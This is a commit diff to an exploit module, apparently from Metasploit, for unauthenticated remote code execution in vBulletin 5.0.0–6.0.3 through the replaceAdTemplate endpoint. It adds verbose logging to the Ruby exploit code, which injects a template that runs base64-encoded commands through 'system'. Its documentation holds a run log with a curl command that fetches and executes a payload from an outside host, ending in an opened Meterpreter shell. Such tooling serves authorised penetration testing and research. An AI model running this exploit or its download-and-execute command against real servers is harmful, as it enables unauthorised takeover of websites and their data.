Skip to content

Commit 33439fc

Browse files
committed
Add verbosity, update doc
1 parent f053d99 commit 33439fc

File tree

2 files changed

+52
-25
lines changed

2 files changed

+52
-25
lines changed

documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md

Lines changed: 16 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -144,15 +144,29 @@ set TARGETURI /
144144

145145
```plaintext
146146
msf6 exploit(multi/http/vbulletin_replace_ad_template_rce) > run http://lab:8888
147+
[*] Command to run on remote host: curl -so ./BGZuzbsi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./BGZuzbsi;./BGZuzbsi&
148+
[*] Fetch handler listening on 192.168.1.36:8080
149+
[*] HTTP server started
150+
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
147151
[*] Started reverse TCP handler on 192.168.1.36:4444
148152
[*] Running automatic check ("set AutoCheck false" to disable)
153+
[*] Starting vulnerability check on 127.0.0.1:8888/
154+
[*] Generating random marker and condition for mode check
155+
[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=QuFcp)
156+
[*] Injection response: HTTP 200
157+
[+] Marker found in injection response body
149158
[+] The target is vulnerable.
159+
[*] Generating random marker and condition for mode exploit
160+
[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=XSGFS)
161+
[*] Client 172.28.0.3 requested /LoPlnjEpeOexZNVppn6cAA
162+
[*] Sending payload to 172.28.0.3 (curl/7.88.1)
163+
[*] Transmitting intermediate stager...(126 bytes)
150164
[*] Sending stage (3045380 bytes) to 172.28.0.3
151-
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.28.0.3:56812) at 2025-05-25 19:49:44 +0200
165+
[*] Meterpreter session 8 opened (192.168.1.36:4444 -> 172.28.0.3:53014) at 2025-05-29 16:27:00 +0200
152166
153167
meterpreter > sysinfo
154168
Computer : 172.28.0.3
155-
OS : Debian 12.11 (Linux 6.14.6-2-cachyos)
169+
OS : Debian 12.11 (Linux 6.14.8-2-cachyos)
156170
Architecture : x64
157171
BuildTuple : x86_64-linux-musl
158172
Meterpreter : x64/linux

modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb

Lines changed: 36 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -17,13 +17,13 @@ def initialize(info = {})
1717
'Description' => %q{
1818
This module exploits a design flaw in vBulletin's AJAX API handler and template rendering system,
1919
present in versions 5.0.0 through 6.0.3. The vulnerability allows unauthenticated attackers
20-
to invoke protected controller methods via the `ajax/api/ad/replaceAdTemplate` endpoint,
20+
to invoke protected controller methods via the ajax/api/ad/replaceAdTemplate endpoint,
2121
due to improper use of PHP's Reflection API in combination with changes in PHP 8.1+.
2222
23-
Specifically, it targets the `vB_Api_Ad::replaceAdTemplate()` method to inject a template
24-
containing a `<vb:if>` conditional that evaluates attacker-supplied PHP using the
25-
`"system"($_POST[<param>])` construct. The malicious template is then executed via
26-
a second unauthenticated request to `ajax/render/ad_<location>`.
23+
Specifically, it targets the vB_Api_Ad::replaceAdTemplate() method to inject a template
24+
containing a <vb:if> conditional that evaluates attacker-supplied PHP using the
25+
"system"($_POST[<param>]) construct. The malicious template is then executed via
26+
a second unauthenticated request to ajax/render/ad_<location>.
2727
2828
Successful exploitation results in arbitrary command execution as the webserver user,
2929
without authentication. This module supports payloads for PHP, Linux, and Windows.
@@ -72,7 +72,8 @@ def initialize(info = {})
7272
end
7373

7474
def check
75-
inject_and_trigger(:check) ? CheckCode::Appears : CheckCode::Safe
75+
vprint_status("Starting vulnerability check on #{rhost}:#{rport}#{target_uri.path}")
76+
inject_and_trigger(:check) ? CheckCode::Vulnerable : CheckCode::Safe
7677
end
7778

7879
def exploit
@@ -83,48 +84,60 @@ def inject_and_trigger(mode, payload: nil)
8384
marker, location, param = Array.new(3) { Rex::Text.rand_text_alpha(5, 8) }
8485
pattern = /string\(#{marker.length}\) "#{marker}"/
8586

87+
vprint_status("Generating random marker and condition for mode #{mode}")
8688
if mode == :check
8789
condition = %{"var_dump"("#{marker}")}
8890
trigger_value = Rex::Text.encode_base64(marker)
8991
else
9092
encoded_payload = Rex::Text.encode_base64(payload)
93+
# Sadly we can't use `eval()` here as it's a language construct and we need a proper function.
9194
condition = %{"system"("base64_decode"("#{encoded_payload}"))}
9295
end
9396

9497
template = "<vb:if condition='#{condition}'></vb:if>"
9598

99+
vprint_status("Sending POST to ajax/api/ad/replaceAdTemplate (location=#{location})")
96100
inj = send_request_cgi(
97101
'method' => 'POST',
98102
'uri' => normalize_uri(target_uri.path),
99103
'vars_post' => {
100104
'routestring' => 'ajax/api/ad/replaceAdTemplate',
101-
'styleid' => '1',
105+
'styleid' => '1', # Can't randomize this value
102106
'location' => location,
103107
'template' => template
104108
}
105109
)
106110

107111
if mode == :check
108-
return false unless inj&.code == 200
109-
return true if inj.body.match?(pattern)
110-
false
111-
end
112-
113-
render_vars = { 'routestring' => "ajax/render/ad_#{location}" }
114-
render_vars[param] = trigger_value if mode == :check
115-
116-
render = send_request_cgi(
117-
'method' => 'POST',
118-
'uri' => normalize_uri(target_uri.path),
119-
'vars_post' => render_vars
120-
)
112+
return true if handle_check_response(inj, pattern, 'injection')
121113

122-
if mode == :check
123-
return nil unless render&.code == 200
114+
render_vars = { 'routestring' => "ajax/render/ad_#{location}" }
115+
render_vars[param] = trigger_value
124116

125-
return render.body.match?(pattern)
117+
vprint_status("Sending POST to ajax/render/ad_#{location} to trigger execution")
118+
render = send_request_cgi(
119+
'method' => 'POST',
120+
'uri' => normalize_uri(target_uri.path),
121+
'vars_post' => render_vars
122+
)
123+
return handle_check_response(render, pattern, 'trigger')
126124
end
127125

128126
true
129127
end
128+
129+
def handle_check_response(response, pattern, stage)
130+
vprint_status("#{stage.capitalize} response: HTTP #{response&.code}")
131+
unless response&.code == 200
132+
vprint_error("#{stage.capitalize} request failed (HTTP #{response&.code || 'nil'})")
133+
return false
134+
end
135+
if response.body.match?(pattern)
136+
vprint_good("Marker found in #{stage} response body")
137+
true
138+
else
139+
vprint_error("Marker not found in #{stage} response body")
140+
false
141+
end
142+
end
130143
end

0 commit comments

Comments
 (0)